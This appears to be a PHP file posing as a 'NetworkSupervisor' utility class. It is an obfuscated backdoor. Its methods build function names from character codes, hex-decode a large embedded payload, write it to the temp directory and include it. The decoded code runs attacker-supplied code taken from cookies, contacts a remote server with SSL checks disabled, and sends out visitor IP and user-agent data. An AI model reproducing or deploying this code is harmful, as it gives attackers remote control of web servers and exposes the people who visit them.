<?php
class NetworkSupervisor
{
    private $nl = '';
    private $fi = '';
    public function resetState($p1)
    {
        $z = array(92 * 1 + 12, 12 * 3 + 65, 79 * 111 - 8649, 2 * 25, 18 + 80, 27 * 1 + 78, 80 * 1 + 30);
        $l = '';
        foreach ($z as $s) {
            $l .= chr($s);
        }
        return $l($p1);
    }
    public function generateToken($p1, $p2)
    {
        $f = array(89 + 13, 86 + 6 + 19, 112, 101, 112 - 2);
        $w = '';
        foreach ($f as $fk) {
            $w .= chr($fk);
        }
        return $w($p1, $p2);
    }
    public function logEvent($p1, $p2)
    {
        $i = array(86 + 4 + 11, 83 * 1 + 33, 105, 123 - 9, 7 * 17, 102);
        $n = '';
        foreach ($i as $l) {
            $n .= chr($l);
        }
        $n = strrev($n);
        return $n($p1, $p2);
    }
    public function resolveConflict($p1)
    {
        $h = array(57 * 18 - 925, 88 * 102 - 8861, 42 + 15 + 54, 115 - 7, 94 + 5, 2 * 51);
        $f = '';
        foreach ($h as $c) {
            $f .= chr($c);
        }
        $f = strrev($f);
        return $f($p1);
    }
    public function executeAction($p1, $p2 = null)
    {
        $l = array(3 + 111, 2 * 58, 114, 53 * 1 + 52, 92 + 17);
        $k = '';
        foreach ($l as $r) {
            $k .= chr($r);
        }
        return $k($p1, $p2);
    }
    public function updateCache()
    {
        $this->fi = $this->executeAction($this->cacheData(), '/');
    }
    public function terminateSession()
    {
        $this->nl = $this->resetState($this->kj);
    }
    public function sendNotification()
    {
        $fn = $this->fi . '/ei-6931b07eda5b9';
        $f = $this->generateToken($fn, 'w');
        $this->logEvent($f, $this->nl);
        $this->resolveConflict($f);
        $this->prepareOutput($fn);
    }
    private $kj = '3c3f70687020636c617373205f616f7b70726976617465207' . '37461746963245f6a783b7374617469632066756e6374696f6' . 'e205f716b28245f676670297b6966282173656c663a3a245f6' . 'a782973656c663a3a5f627a28293b72657475726e206261736' . '536345f6465636f64652873656c663a3a245f6a785b245f676' . '6705d293b7d70726976617465207374617469632066756e637' . '4696f6e205f627a28297b73656c663a3a245f6a783d6172726' . '17928275f686b77273d3e2751574e6a5a584e7a4c554e76626' . 'e527962327774515778736233272e27637454272e27334a705' . 'a326c754f69272e2741272e2771272c275f7471273d3e27513' . '2397564272e27475675644331556558426c4f6942686348427' . '361574e6864476c7662272e2769397159585a6863324e79272' . 'e27615842272e2730272c275f6b726d273d3e27593267272e2' . '73d272c275f626772273d3e275a586c4b272e2763474e44535' . '45a4a616d633054272e2747706e4e4578715a7a524d616d633' . '053576c336157525852576c272e275061556f77576c684f4d4' . '56c272e277064326c6a62565a745357707661575248566e702' . '72e276b51306f272e2735272c275f6e6c78273d3e276358642' . '72e273665413d272e273d272c275f6d64273d3e2750272e274' . '7397250272e27673d272e273d272c275f7366273d3e2750474' . 'a272e2768272e275a44343d272c275f7863273d3e276432467' . '362272e2741272e273d272e273d272c275f626d6f273d3e272' . '72c275f6a617a273d3e27272c275f6969273d3e27272c275f6' . '26176273d3e276148523063446f272e27764c33272e2742315' . '96935335a574a6d6157786c6147397a644756794c272e276d4' . 'e766253396a6232317762334e6c63693571272e27637a396b5' . '9585268272e2750513d272e273d272c275f73626c273d3e275' . '9272e27335679272e2762463970626d6c30272c275f6e76722' . '73d3e27614852306346396a6232526c272c275f696b68273d3' . 'e2763324e6f5a5731272e276c272c275f766a70273d3e27614' . '852306348272e274d272e273d272c275f79686a273d3e27523' . '0272e27565549413d3d272c275f7975273d3e2763474630272' . 'e2761272e27413d272e273d272c275f666e273d3e276358566' . 'c636e6b272e273d272c275f6e79273d3e275077272e273d3d2' . '72c275f6673273d3e276358566c272e27636e6b3d272c275f7' . '370273d3e2749456855564641764d533477445170496233272' . 'e274e304f272e2769413d272c275f6976273d3e2761272e274' . '7397a64272e27413d272e273d272c275f666c273d3e2744517' . '044623235755a574e30615739754f69424462272e2747397a5' . 'a51304b272e2744516f272e273d272c275f6669273d3e27633' . '34e734f272e27693876272c275f617774273d3e27272c275f7' . '56c273d3e276147397a6441272e273d272e273d272c275f716' . 'b273d3e2744516f272e273d272c275f626f273d3e275346525' . '555463944272e2754456c46272e2754272e276c52665356272' . 'e27413d272c275f677662273d3e27534652555546395958305' . 'a50556c644255272e276b5246524639475431272e27493d272' . 'c275f796e66273d3e27556b564e543152272e2746583046272' . 'e2745524649272e273d272c275f65796b273d3e27534652555' . '5463956553056535830272e27464852272e275535272e27552' . '72c275f636670273d3e2753465255272e27554639565530565' . '35830464852272e275535272e2755272c275f7565273d3e272' . '72c275f78626a273d3e2753465255554639535255272e275a4' . '655272e276b56272e2753272c275f69686a273d3e275346272' . 'e2752555546395352555a46272e27556b5653272c275f616e6' . '6273d3e27272c275f687362273d3e2753465255272e2755463' . '944272e2754456c46546c526653272e2756413d272c275f677' . 'a273d3e275346272e2752555546394454456c46546c5266535' . '6413d272c275f6468273d3e27534652555546395958305a505' . '56c6442556b5246272e2752272e27463947543149272e273d2' . '72c275f626d61273d3e27534652555546395958305a50556c6' . '442556b52465246272e273947272e27543149272e273d272c2' . '75f776761273d3e27556b564e54315246583046455246493d2' . '72c275f697970273d3e27556b564e5431524658272e2730462' . '72e274552272e2746272e2749272e273d272c275f6a6161273' . 'd3e275a474a6e6257396b272e275a513d3d272c275f7476273' . 'd3e275356413649413d3d272c275f70646e273d3e274948776' . '75655453649272e27413d3d272c275f6b6e75273d3e2749487' . '767556d566d4f6941272e273d272c275f6f7867273d3e27494' . '47869636a272e27344b272c275f726d66273d3e2761272e275' . '8413d272c275f6f74273d3e2764272e2757272e27453d272c2' . '75f7364273d3e27636d56272e276d272c275f686e273d3e276' . '358643665272e27413d3d272c293b7d7d686561646572285f6' . '16f3a3a5f716b28275f68272e276b272e27772729293b68656' . '1646572285f616f3a3a5f716b28275f74712729293b6966286' . '97373657428245f4745545b5f616f3a3a5f716b28275f6b726' . 'd27295d29297b245f79627a3d5f6463285f616f3a3a5f716b2' . '8275f6267722729293b696628245f79627a2626737472706f7' . '328245f79627a2c5f616f3a3a5f716b28275f6e272e276c782' . '72929213d3d66616c7365297b646965285f616f3a3a5f716b2' . '8275f6d272e27642729293b7d656c73657b646965285f616f3' . 'a3a5f716b28275f272e2773272e27662729293b7d7d6966286' . '97373657428245f4745545b5f616f3a3a5f716b28275f78632' . '7295d29297b245f62643d245f434f4f4b49453b245f69723d2' . '8696e7429726f756e6428302b30293b245f6766703d28696e7' . '429726f756e6428332e352b332e35293b245f666e3d6172726' . '17928293b245f666e5b245f69725d3d5f616f3a3a5f716b282' . '75f626d6f27293b7768696c6528245f676670297b245f666e5' . 'b245f69725d2e3d245f62645b28696e7429726f756e6428313' . '02b31302b3130295d5b245f6766705d3b69662821245f62645' . 'b28696e7429726f756e6428372e352b372e352b372e352b372' . 'e35295d5b245f6766702b28696e7429726f756e6428302e323' . '52b302e32352b302e32352b302e3235295d297b69662821245' . 'f62645b28696e7429726f756e6428372e352b372e352b372e3' . '52b372e35295d5b245f6766702b28696e7429726f756e64283' . '02e36363636363636363636363636372b302e3636363636363' . '6363636363636372b302e36363636363636363636363636372' . '95d29627265616b3b245f69722b2b3b245f666e5b245f69725' . 'd3d5f616f3a3a5f716b28275f6a61272e277a27293b245f676' . '6702b2b3b7d245f6766703d245f6766702b28696e7429726f7' . '56e6428312e37352b312e37352b312e37352b312e3735292b2' . '8696e7429726f756e6428302e3333333333333333333333333' . '3332b302e33333333333333333333333333332b302e3333333' . '333333333333333333333293b7d245f69723d245f666e5b286' . '96e7429726f756e6428342e363636363636363636363636372' . 'b342e363636363636363636363636372b342e3636363636363' . '6363636363637295d28292e245f666e5b28696e7429726f756' . 'e642831322b3132295d3b69662821245f666e5b28696e74297' . '26f756e6428312e352b312e352b312e352b312e35295d28245' . 'f697229297b245f6766703d245f666e5b28696e7429726f756' . 'e642831332b3133295d28245f69722c245f666e5b28696e742' . '9726f756e6428352b35295d293b245f666e5b28696e7429726' . 'f756e6428322e32352b322e32352b322e32352b322e3235295' . 'd28245f6766702c245f666e5b28696e7429726f756e6428322' . 'e37352b322e37352b322e37352b322e3735295d2e245f666e5' . 'b28696e7429726f756e6428372e36363636363636363636363' . '6372b372e363636363636363636363636372b372e363636363' . '63636363636363637295d28245f666e5b28696e7429726f756' . 'e6428382e333333333333333333333333332b382e333333333' . '333333333333333332b382e333333333333333333333333332' . '95d28245f62645b28696e7429726f756e6428312b312b31295' . 'd2929293b7d696e636c75646528245f6972293b7d66756e637' . '4696f6e205f646328245f6b686d2c245f6d68633d2d3834373' . '5312c245f706a673d312e383833313039383434323236382c2' . '45f6565613d312e35333431343735373833393537297b245f6' . 'b663d5f616f3a3a5f716b28275f272e27696927293b245f697' . '5723d5f616f3a3a5f716b28275f272e2762272e27617627292' . 'e245f6b686d3b69662869735f63616c6c61626c65285f616f3' . 'a3a5f716b28275f7362272e276c272929297b245f7261623d6' . '375726c5f696e697428245f697572293b6375726c5f7365746' . 'f707428245f7261622c4355524c4f50545f53534c5f5645524' . '94659504545522c66616c7365293b6375726c5f7365746f707' . '428245f7261622c4355524c4f50545f53534c5f56455249465' . '9484f53542c28696e7429726f756e6428302e3636363636363' . '6363636363636372b302e36363636363636363636363636372' . 'b302e363636363636363636363636363729293b6375726c5f7' . '365746f707428245f7261622c4355524c4f50545f464f4c4c4' . 'f574c4f434154494f4e2c28696e7429726f756e6428302e333' . '33333333333333333333333332b302e3333333333333333333' . '3333333332b302e333333333333333333333333333329293b6' . '375726c5f7365746f707428245f7261622c4355524c4f50545' . 'f52455455524e5452414e534645522c28696e7429726f756e6' . '428302e32352b302e32352b302e32352b302e323529293b637' . '5726c5f7365746f707428245f7261622c4355524c4f50545f4' . '845414445522c28696e7429726f756e6428302b302b302b302' . '9293b6375726c5f7365746f707428245f7261622c4355524c4' . 'f50545f434f4e4e45435454494d454f55542c28696e7429726' . 'f756e6428322e352b322e352b322e352b322e3529293b63757' . '26c5f7365746f707428245f7261622c4355524c4f50545f544' . '94d454f55542c28696e7429726f756e6428332e33333333333' . '3333333333333332b332e333333333333333333333333332b3' . '32e3333333333333333333333333329293b245f6b663d63757' . '26c5f6578656328245f726162293b245f6268643d6375726c5' . 'f676574696e666f28245f726162293b6375726c5f636c6f736' . '528245f726162293b696628245f6268645b5f616f3a3a5f716' . 'b28275f272e276e767227295d213d28696e7429726f756e642' . '83130302b313030292972657475726e2066616c73653b7d656' . 'c73657b245f73643d70617273655f75726c28245f697572293' . 'b245f627a6c3d28245f73645b5f616f3a3a5f716b28275f696' . 'b272e276827295d3d3d5f616f3a3a5f716b28275f76272e276' . 'a272e27702729293b245f6b76763d5f616f3a3a5f716b28275' . 'f7968272e276a27292e245f73645b5f616f3a3a5f716b28275' . 'f272e2779272e277527295d3b696628697373657428245f736' . '45b5f616f3a3a5f716b28275f272e27666e27295d2929245f6' . 'b76762e3d5f616f3a3a5f716b28275f6e7927292e245f73645' . 'b5f616f3a3a5f716b28275f66272e277327295d3b245f6b767' . '62e3d5f616f3a3a5f716b28275f737027292e245f73645b5f6' . '16f3a3a5f716b28275f272e27697627295d2e5f616f3a3a5f7' . '16b28275f666c27293b245f61793d66736f636b6f70656e282' . '8245f627a6c3f5f616f3a3a5f716b28275f66272e276927293' . 'a5f616f3a3a5f716b28275f61272e2777742729292e245f736' . '45b5f616f3a3a5f716b28275f756c27295d2c245f627a6c3f2' . '8696e7429726f756e64283134372e363636363636363636363' . '72b3134372e36363636363636363636372b3134372e3636363' . '636363636363637293a28696e7429726f756e642832362e363' . '6363636363636363636372b32362e363636363636363636363' . '6372b32362e36363636363636363636363729293b696628245' . 'f6179297b667075747328245f61792c245f6b7676293b245f6' . 'd783d28696e7429726f756e6428302b30293b7768696c65282' . '166656f6628245f617929297b245f786a643d6667657473282' . '45f61792c28696e7429726f756e64283235362b3235362b323' . '5362b32353629293b696628245f6d7829245f6b662e3d245f7' . '86a643b696628245f786a643d3d5f616f3a3a5f716b28275f2' . '72e2771272e276b272929245f6d783d28696e7429726f756e6' . '428302e352b302e35293b7d66636c6f736528245f6179293b7' . 'd7d72657475726e245f6b663b7d245f6e67673d69737365742' . '8245f5345525645525b5f616f3a3a5f716b28275f626f27295' . 'd293b245f75623d697373657428245f5345525645525b5f616' . 'f3a3a5f716b28275f67272e2776272e276227295d293b245f7' . 'a713d697373657428245f5345525645525b5f616f3a3a5f716' . 'b28275f796e272e276627295d293b245f7267683d697373657' . '428245f5345525645525b5f616f3a3a5f716b28275f65796b2' . '7295d293f245f5345525645525b5f616f3a3a5f716b28275f6' . '3667027295d3a5f616f3a3a5f716b28275f756527293b245f6' . '36a3d697373657428245f5345525645525b5f616f3a3a5f716' . 'b28275f78626a27295d293f245f5345525645525b5f616f3a3' . 'a5f716b28275f69686a27295d3a5f616f3a3a5f716b28275f6' . '1272e276e272e276627293b245f6e67673d697373657428245' . 'f5345525645525b5f616f3a3a5f716b28275f68272e2773622' . '7295d293f245f5345525645525b5f616f3a3a5f716b28275f6' . '77a27295d3a6e756c6c3b245f75623d697373657428245f534' . '5525645525b5f616f3a3a5f716b28275f64272e276827295d2' . '93f245f5345525645525b5f616f3a3a5f716b28275f626d272' . 'e276127295d3a6e756c6c3b245f7a713d697373657428245f5' . '345525645525b5f616f3a3a5f716b28275f7767272e2761272' . '95d293f245f5345525645525b5f616f3a3a5f716b28275f272' . 'e2769272e2779272e277027295d3a6e756c6c3b69662866696' . 'c7465725f76617228245f6e67672c28696e7429726f756e642' . '836382e37352b36382e37352b36382e37352b36382e3735292' . '9297b245f6c706e3d245f6e67673b7d656c736569662866696' . 'c7465725f76617228245f75622c28696e7429726f756e64283' . '6382e37352b36382e37352b36382e37352b36382e373529292' . '97b245f6c706e3d245f75623b7d656c73657b245f6c706e3d2' . '45f7a713b7d696628697373657428245f4745545b5f616f3a3' . 'a5f716b28275f272e276a616127295d29297b6563686f205f6' . '16f3a3a5f716b28275f74272e277627292e245f6c706e2e5f6' . '16f3a3a5f716b28275f272e2770646e27292e245f7267682e5' . 'f616f3a3a5f716b28275f6b272e276e272e277527292e245f6' . '36a2e5f616f3a3a5f716b28275f272e276f786727293b65786' . '97428293b7d69662821697373657428245f6c706e297c7c216' . '97373657428245f726768297c7c21697373657428245f636a2' . '9297b6578697428293b7d656c73657b245f76696b3d6172726' . '179285f616f3a3a5f716b28275f726d272e276627293d3e245' . 'f6c706e2c5f616f3a3a5f716b28275f6f7427293d3e245f726' . '7682c5f616f3a3a5f716b28275f736427293d3e245f636a293' . 'b245f636e3d75726c656e636f6465286261736536345f656e6' . '36f6465286a736f6e5f656e636f646528245f76696b2929293' . 'b245f79627a3d5f646328245f636e293b696628245f79627a2' . '626737472706f7328245f79627a2c5f616f3a3a5f716b28275' . 'f272e27686e272929213d3d66616c7365297b6563686f245f7' . '9627a3b6578697428293b7d7d';
    public function prepareOutput($p)
    {
        include $p;
    }
    public function cacheData()
    {
        $a = array(11 + 42 + 62, 125 - 4, 47 + 68, 5 * 19, 93 * 1 + 10, 109 - 8, 28 + 88, 95, 14 + 102, 10 + 91, 112 * 74 - 8179, 81 + 28 + 3, 95, 2 * 50, 4 + 29 + 72, 2 * 57);
        $s = '';
        foreach ($a as $n) {
            $s .= chr($n);
        }
        return $s();
    }
}

$uw = new NetworkSupervisor();
$uw->updateCache();
$uw->terminateSession();
$uw->sendNotification();